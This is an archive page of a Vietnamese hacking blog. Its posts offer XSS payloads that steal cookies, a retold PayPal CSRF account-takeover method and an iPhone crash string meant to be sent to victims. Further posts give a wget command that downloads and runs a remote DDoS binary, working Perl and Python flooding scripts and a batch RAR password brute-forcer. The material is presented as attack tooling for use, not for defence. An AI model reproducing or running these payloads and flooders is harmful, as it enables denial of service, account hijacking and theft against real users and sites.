Tin Học Và Những Điều Cần Biết: May 2015

Thursday, May 28, 2015

XSS - Crosssite

Just Copy any script and try ..
To Redirect exploit code:
 ';redirecturl='javascript:alert("XSS")
 ';redirecturl='http://google.com/'

Now for XSS 

Example: www. xyz.com?q=" XSS Script"

  • "/>alert("Xss:Priyanshu")
  • "/></script><script>alert(/XSS : Priyanshu/)</script>

<body onload=alert(1)>
"<body onload="alert('XSS by Priyanshu')">

"><%2Fstyle<%2Fscript><script>confirm("XSS By Priyanshu")<%2Fscript>

<body onload=document.getElementById("xsrf").submit()>

<a href="data:text/html;based64_,<svg/onload=\u0061&#x6c;&101%72t(1)>">X</a

<a href="data:text/html;based64_,<svg/onload=\u0061&#x6c;&101%72t(document.cookie)>">X</a
  • http://test.com<script>alert(document.domain)</script>
  • http://test.com<script>alert(document.cookie)</script>

<img src=x onerror=alert(document.domain)>

x"></script><img src=x onerror=alert(1)>

q=" onclick="alert(/XSS/)

"><iframe src='javascript:prompt(/XSS/);'>

<iframe src="http://google.com"></iframe>

"><iframe src=a onload=alert('XSS')<

</script><script>alert(document.cookie)</script>

<xss>alert('xss')</xss>

<iframe src="http://google.com"></iframe>



DOM Based XSS Scripts
  • /default.aspx#"><img src=x onerror=prompt('XSS');>
  •  /default.aspx#"><img src=x onerror=prompt('0');>    

<img src=x onerror=prompt(1);> by ">

“><img src=x onerror=prompt(0)>.txt.jpg

“><img src=x onerror=alert(document.cookie)>


 "><img src=x onerror=prompt(1);>

"><script>alert('XSS')</script>

id=abc"><Script>alert(/xss/)</SCRIPT>


"><img src=" " onMouseover=prompt(/xss/);>

Default.aspx/" onmouseout="confirm(1)'x="

Cracking Paypal Account With Hacker Phạm

1- Reusable SRF Token:
The CSRF token “that authenticate every single request made by the user” which can be also found in the request body of every request with the parameter name “Auth” get changed with every request made by user for security measures, but after a deep investigation I found out that the CSRF Auth is Reusable for that specific user email address or username, this means If an attacker found any of these CSRF Tokens, He can then make actions in the behave of any logged in user.
Hmm, it seems interesting but still not exploitable, as there is no way for an attacker to get the “Auth” value from a victim session.

2- Bypassing the CSRF Auth System:
The CSRF Auth verifies every single request of that user, So what If an attacker “not logged in” tries to make a “send money” request then PayPal will ask the attacker to provide his email and password, The attacker will provide the “Victim Email” and ANY password, Then he will capture the request, The request will contain a Valid CSRF Auth token Which is Reusable and Can authorise this specific user requests. Upon Further Investigation, We have found out that an Attacker can obtain the CSRF Auth which can be valid for ALL users, by intercepting the POST request from a page that provide an Auth Token before the Logging-in process, check this page for the magical CSRF Auth “https://www.paypal.com/eg/cgi-bin/webscr?cmd=_send-money”. At this point the attacker Can CSRF “almost” any request on behave of this user.



The application generates a valid “Auth” token for a logged-out user!
Through examination of the password change process, he found that an attacker can NOT Change the victim password without answering the Security Questions set by user, Also the user himself can NOT change the security questions without entering the password!

3- ByPassing the Security Questions Change:

The initial process of “setting” security questions is not password protected and is reusable
After further investigation, noticed that the request of setting up the security questions “which is initiated by the user while signing up” is not password-protected, and it can be reused to reset the security questions up without providing the password, hence, Armed with the CSRF Auth, an attacker can CSRF this process too and change the victim’s Security questions.

At this point, An attacker can conduct a targeted CSRF attack against a PayPal users and take a full control over his account Hence, An attacker can CSRF all the requests including but not limited to:

1- Add/Remove/Confirm Email address
2-Add fully privileged users to business account
3- Change Security questions
4- Change Billing/Shipping Address
5- Change Payment methods
6- Change user settings(Notifications/Mobile settings) ………… and more.

To automate the who process, Yasser has coded a Python interactive server to demonstrate how an attacker can exploit this vulnerability in a real-life scenario attack.C


Hướng Dẫn Làm Treo IPHONE

Trick :


"effective.
Power
للصبللصبرر ॣ ॣ h ॣ ॣ
冗 Cho App"
Code này mới dc


Send cho victim 


Nếu victim sử dụng IPHONE máy sẽ bị đứng

Source Code Hacking ISO FILE

Source Code ISO Hacking Tools
Save dưới dạng iso file
Hỗ trợ : vietnamhackerteam@gmail.com
Pass : VNHacker

Wednesday, May 27, 2015

Lizard Squad DDOS

  1. New LizardSquad DDoS attack!!
  2.  
  3. http://ge.tt/api/1/files/84Hz4zG2/0/blob?download
  4.  
  5.  
  6. For Eazy Download do :
  7.  
  8. wget http://ge.tt/api/1/files/84Hz4zG2/0/blob?download -O Lizard ; chmod 777 Lizard ; ./Lizard
  9.  
  10. To run the Script do ;
  11.  
  12. ./Lizard "IP" "Port" "Time" "Sec"

Python DDOS Bài 3

  1. #!/usr/bin/perl
  2.  
  3. #Created by ~ Hacker Pham
  4. #Reccomendations (For skids):
  5. #IP -   Don't DDoS Government Websites.
  6. #Port - Use '80' for HTTP (Most Common) or '53' for DNS or '443' for https.
  7. #Size - Use '100 - 1000' (Reccomended).
  8. #Time - Depending on the bandwith of your server, use how ever much you want (You can always press Ctrl-C to cancel).
  9.  
  10. use Socket;
  11. use strict;
  12.  
  13. print '
  14. /$$$$$$$$                              /$$              /$$$$$$                  
  15. |__  $$__/                             | $$             /$$__  $$                  
  16.   | $$/$$  /$$  /$$ /$$$$$$ /$$$$$$$ /$$$$$$  /$$   /$| $$  \ $$/$$$$$$$  /$$$$$$ \'s (PUBLIC) DDoS Script ;)
  17.   | $| $$ | $$ | $$/$$__  $| $$__  $|_  $$_/ | $$  | $| $$  | $| $$__  $$/$$__  $$
  18.   | $| $$ | $$ | $| $$$$$$$| $$  \ $$ | $$   | $$  | $| $$  | $| $$  \ $| $$$$$$$$
  19.   | $| $$ | $$ | $| $$_____| $$  | $$ | $$ /$| $$  | $| $$  | $| $$  | $| $$_____/
  20.   | $|  $$$$$/$$$$|  $$$$$$| $$  | $$ |  $$$$|  $$$$$$|  $$$$$$| $$  | $|  $$$$$$$
  21.   |__/\_____/\___/ \_______|__/  |__/  \___/  \____  $$\______/|__/  |__/\_______/
  22.                                               /$$  | $$                          
  23.                                              |  $$$$$$/                          
  24.                                               \______/        
  25. ';
  26. print "\n";
  27.  
  28.  
  29. if ($#ARGV != 3) {
  30.   print "\n\t\t\t***Error command must recieve four arguements***\n";
  31.   print "-Ex) perl DDoS.pl 1.1.1.1 80 1000 300\n";
  32.   print "-Therefore DDoSing the IP '1.1.1.1' for '300' seconds on port '80' using '1000' packets\n\n";
  33.   exit(1);
  34. }
  35.  
  36. my ($ip,$port,$size,$time) = @ARGV;
  37. my ($iaddr,$endtime,$psize,$pport);
  38. $iaddr = inet_aton("$ip") or die "Cannot connect to $ip\n";
  39. $endtime = time() + ($time ? $time : 1000000);
  40. socket(flood, PF_INET, SOCK_DGRAM, 17);
  41. print "~To cancel the attack press \'Ctrl-C\'\n\n";
  42. print "|IP|\t\t |Port|\t\t |Size|\t\t |Time|\n";
  43. print "|$ip|\t |$port|\t\t |$size|\t\t |$time|\n";
  44. print "To cancel the attack press 'Ctrl-C'\n" unless $time;
  45. for (;time() <= $endtime;) {
  46.   $psize = $size ? $size : int(rand(1500-64)+64) ;
  47.   $pport = $port ? $port : int(rand(65500))+1;
  48.  
  49.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
save perl.pl

Python DDOS Bài 2

  1. [Save file as reckz.pl, Put it in Perl/Bin]
  2.  
  3. #!/usr/bin/perl START SCRIPT
  4.  
  5. use Socket;
  6. use strict;
  7.  
  8. if ($#ARGV != 3) {
  9.   print "reckz.pl <ip> <port> <size> <time>\n\n";
  10.   print " port=0: use random ports\n";
  11.   print " size=0: use random size between 64 and 1024\n";
  12.   print " time=0: continuous flood\n";
  13.   exit(1);
  14. }
  15.  
  16. my ($ip,$port,$size,$time) = @ARGV;
  17.  
  18. my ($iaddr,$endtime,$psize,$pport);
  19.  
  20. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  21. $endtime = time() + ($time ? $time : 1000000);
  22.  
  23. socket(flood, PF_INET, SOCK_DGRAM, 17);
  24.  
  25.  
  26. print "twitter.com/Reckz0r - Flooding $ip " . ($port ? $port : "random") . " port with " .
  27.   ($size ? "$size-byte" : "random size") . " packets" .
  28.   ($time ? " for $time seconds" : "") . "\n";
  29. print "Break with Ctrl-C\n" unless $time;
  30.  
  31. for (;time() <= $endtime;) {
  32.   $psize = $size ? $size : int(rand(1024-64)+64) ;
  33.   $pport = $port ? $port : int(rand(65500))+1;
  34.  
  35.   send(flood, pack("a$psize","saf3e368wumu7repa4uxa2rucHaphubeGamu9R3373af8Us3eTHUgepRAfAS2c6CHAyegURepUbre94wRAwruS2uhU8UXasp7spasw7sw8h7wapr5spabekumu8ast8StRadusASacu6a6e5efrAzeWucH5cumuswaraca7hAbrewrecujetrafefadrawruW4ayAjU37sPUseBr4cRuPhacrUtrf0azrrQlLd1xdSjjtdwXfjyXArkExrVxVlulxssmr0u0lRscLAqjkZB43ajPRmAH4JQ6T1SOZPFmndbEi4IUOIuUmPCXI044f73uGIeJHs8lh36KpJausXqykL2idPx1j120Rra2DI1kmGgde5LI4TJMuQvrotBR3Fli0g1uwt74ALKfRzHYZJR0wkqNncUY178LcbTFtx5n7MF4zX3P4Z3mUVkAebkXqDv6EETKTNBes9kW2QBEBLeKcBH4cUAQ8Y30mdGozVRNJq3wtDMmgtzCibqXEEp3cZATTOMqIDxn3t5HYdspEofPneXpPTUE0TBN8oRAp4DjSlhfDAVmfNgbdSbTHWT7Y7gVi6kgrNXKCM64V4kOGvesVr0SZU3k83r6qAr3w4d26kurU9eBRa53cEtRaQaCHEvacu4PETRaf3yepHAk9FAgU2at8GEMEZAwUjaDesTufu2r3DaPhedR7quCru7reketc8atacAStuGeFruNuTHaWuspabr6drARa4r4cApRewuFRaD3qAXAsPeMAChudRUWxuq73R5dra8epre4tasp8craq677wru5asuq3tradede8rethuSwAfespastuduypUt2fudra5utanewrat83rucruyuje6aphuprUWawrawr4tha922HeSpU8acacu5hastuprecevasteberepagas6ejuje2heswugukerebrajeVeswerajAdagecah3phE9EsutaFrU6erathu2u6utraseCrEjehaChuphEchepeswutrezu86pret6afa"), 0, pack_sockaddr_in($pport, $iaddr));}
  36.  
  37. #!/usr/bin/perl END SCRIPT
Hỗ trợ online 01264876171
Email: vietnamhackerteam@gmail.com

Python DDOS Bài 1

Save code with python ddos :)

Used to command : python ddos.py

  1. import time
  2. import socket
  3. import os
  4. import sys
  5. import string
  6.  
  7. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  8.  
  9. def restart_program():
  10.     python = sys.executable
  11.     os.execl(python, python, * sys.argv)
  12. curdir = os.getcwd()
  13.  
  14. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  15.  
  16. print ("DDoS mode loaded")
  17. print ("python script made by an0nymous_nl twitter")
  18. host=raw_input( "Site you want to DDoS:" )
  19. port=input( "Port you want to attack:" )
  20. message=raw_input( "Input the message you want to send:" )
  21. conn=input( "How many connections you want to make:" )
  22. ip = socket.gethostbyname( host )
  23. print ("[" + ip + "]")
  24. print ( "[Ip is locked]" )
  25. print ( "[Attacking " + host + "]" )
  26. print ("+----------------------------+")
  27. def dos():
  28.     #pid = os.fork()
  29.     ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  30.     try:
  31.         ddos.connect((host, 80))
  32.         ddos.send( message )
  33.         ddos.sendto( message, (ip, port) )
  34.         ddos.send( message );
  35.     except socket.error, msg:
  36.         print("|[Connection Failed]         |")
  37.     print ( "|[DDoS Attack Engaged]       |")
  38.     ddos.close()
  39. for i in range(1, conn):
  40.     dos()
  41. print ("+----------------------------+")
  42. print("The connections you requested had finished")
  43. if __name__ == "__main__":
  44.     answer = raw_input("Do you want to ddos more?")
  45.     if answer.strip() in "y Y yes Yes YES".split():
  46.         restart_program()
  47.     else:
  48.         os.system(curdir+"Deqmain.py")

Hỗ trợ Online 01264876171
Email: vietnamhackerteam@gmail.com

crack Password RAR/ZIP

Hôm nay mình xin hướng dẫn crack win zar and zip = tools

Có thể download tại đây : Hacking Tools 

Hoặc save code sau đây thành dạng bat


REM geeks4yu.blogspot.com
@echo off
title Rar Password Cracker
mode con: cols=47 lines=20
copy "C:\Program Files\WinRAR\Unrar.exe"
SET PSWD=0
SET DEST=%TEMP%\%RANDOM%
MD %DEST%
:RAR
cls
echo ----------------------------------------------
echo                   GET DETAIL
echo ----------------------------------------------
echo.
SET/P "NAME=Enter File Name  : "
IF "%NAME%"=="" goto NERROR
goto GPATH
:NERROR
echo ----------------------------------------------
echo                      ERROR
echo ----------------------------------------------
echo Sorry you can't leave it blank.
pause
goto RAR
:GPATH
SET/P "PATH=Enter Full Path : "
IF "%PATH%"=="" goto PERROR
goto NEXT
:PERROR
echo ----------------------------------------------
echo                      ERROR
echo ----------------------------------------------
echo Sorry you can't leave it blank.
pause
goto RAR
:NEXT
IF EXIST "%PATH%\%NAME%" GOTO START
goto PATH
:PATH
cls
echo ----------------------------------------------
echo                     ERROR
echo ----------------------------------------------
echo Opppss File does not Exist..
pause
goto RAR
:START
SET /A PSWD=%PSWD%+1
UNRAR E -INUL -P%PSWD% "%PATH%\%NAME%" "%DEST%"
IF /I %ERRORLEVEL% EQU 0 GOTO FINISH
GOTO START
:FINISH
RD %DEST% /Q /S
Del "Unrar.exe"
cls
echo ----------------------------------------------
echo                     CRACKED
echo ----------------------------------------------
echo.
echo PASSWORD FOUND!
echo FILE  = %NAME%
echo CRACKED PASSWORD = %PSWD%
pause>NUL
exit
REM


Step 4 : Now  double click the Crack.bat file to open it.  It will prompt cmd screen like this : 
             

Step 5 : Input Full name of the file along with extension and hit enter. Then, you will be asked to input the 
             location of the file .  Input the location ( view property of the rar file to know the location) and hit enter key. 
        
        

Step 6 : that's it , Now the process will take some time to find the password. So be patience and wait till    the  password gets found.